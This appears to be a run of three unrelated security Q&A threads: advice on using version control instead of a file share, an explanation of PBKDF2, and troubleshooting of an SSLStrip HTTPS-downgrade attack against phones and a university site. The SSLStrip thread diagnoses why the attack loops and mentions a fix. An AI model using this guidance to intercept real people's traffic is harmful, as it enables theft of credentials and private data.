Your code assets should be managed in a version control system. Build and deployment should be scripted. Your development and production environments should reside on different hardware.

Yes, you should be managing much more than just code artefacts - but a file share is a really bad place to store such design documents, test plans and bug reports. If your staff can't signpost you to better, free alternatives, then you are employing the wrong people.

I'm not saying you shouldn't have a file server, but not for sharing most of the development team's product.

  I want to be able to protect the folders so that the staff working on the folder cannot copy files from the server.

This is simply not possible with the shared folder model. It is possible with a version control system but a very bad idea. Many people entering the business have an over-inflated opinion of the quality of their product and are convinced everyone is trying to steal it, including their own employees. You are unlikely to be in a position to be able to afford a truly effective IP management/DLP solution right now (and what you describe falls a very long way short). There are better ways to solve these problems.


Clarification needed for NIST's whitepaper "Recommendation for Password-Based Key Derivation" What are some sample use-cases the NIST is supporting in this policy / whitepaper regarding PBKDF2?

  This Recommendation specifies a family of password-based key
  derivation functions  (PBKDFs) for deriving cryptographic keys from
  passwords or passphrases for the  protection of electronically-stored
  data or for the protection of data protection keys.

I would have a better chance at understanding this paragraph if I knew what is implicitly excluded from that list of targeted applications.

Concrete examples of what is in scope and out of scope would be immensely helpful.

A Key Derivation Function turns some secret data into more secret data, and is used to make keys of appropriate size from other keys which do not have the appropriate size. An example of KDF is the one called "PRF" within SSL/TLS: it is used to convert whatever shared key was built between client and server (using RSA encryption or Diffie-Hellman) into the symmetric keys which will be used thereafter for symmetric encryption and integrity check in the established connection.

A Password-Based KDF (hence the name "PBKDF") is a KDF where the source material is a "password", i.e. a piece of data which is retained in the brain of a human being, and (usually) typed on a keyboard by the brain owner. This is not the case of SSL. A Password-Based KDF is used whenever you want to perform some data encryption "locked" by a password. For instance, when you "encrypt" a file with a password (e.g. the "password protection" in Word, or a password-protected Zip archive, or a PGP keyring or SSH private key stored in a file with "passphrase protection"), you can be sure that a Password-Based KDF was involved.

The job of a Password-Based KDF is to:

accept as input a sequence of characters (of semi-arbitrary length), and output a sequence of bits of appropriate length for the intended cryptographic algorithm (e.g. 128 bits for AES encryption);
"protect" the password against dictionary attacks by being appropriately slow and expensive (an attacker could try to guess the password by trying out potential passwords; we want each trial to be heavy and expensive for him), and by using a salt (so that attacking two encrypted files is twice as expensive as attacking one).

PBKDF2 ensures the second property through a configurable "number of iterations" and a salt (both parameters are typically stored in a public header for the encrypted file).

A devious but common usage of PBKDF2 is to hash passwords. This is about using the PBKDF2 output as a password verification token; a password will be accepted if the derivation through PBKDF2 will yield the same value. PBKDF2 was not initially designed for that, but still does an acceptable job of it, although bcrypt is arguably better (see this answer).


SSLStrip redirects too many times I am attempting to use SSLStrip on a website which has HSTS disabled, I specifically type the website URL with http:// and it refuses to load in Safari, Chrome and a random chinese browser because of too many redirects.

I have tried this with two victims: Safari on an iPhone running iOS 11.1 and on an Android Phone running Nougat. In both instances, I am unable to access the website. I have checked that the setup is working as I am able to see encrypted POST requests in my sslstrip.log file.

Here are the requests and responses from http://my.mit.edu for instance:

Request: Host: my.mit.edu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Response:
Transfer-Encoding: chunked
Connection: Keep-Alive
Location: http://my.mit.edu
Server: BigIP

20 identical requests and responses are made.

This prompts firefox to give this error:

Firefox has detected that the server is redirecting the request for this address in a way that will never complete.

I think it is also important to point out that I am facing this only on this domain and sslstrip is actually working fine on my personal website .

The cause of the problem is the server sending an unexpected (and invalid) URL in the Location header:

Location: http://my.mit.edu

This URL does not include a path, i.e. instead of being http://host/ it is only http://host. Browsers implicitly work around this problem but sslstrip did not expect it. This results in using http://host (without path) as they key in its internal set where it looks up when to use HTTPS on the server side. The URL it gets from the request is instead http://host/ (with path) and thus the lookup fails and it does not use HTTPS to the server. This causes the server to again issue a redirect response to HTTPS which shows the same wrong URL etc - resulting in the endless redirect you see.

This is not a major issue in in my opinion since  sslstrip was primarily designed as proof of concept to demonstrate a problem instead of being an attack tool. But anyway, the problem can be easily fixed with this patch.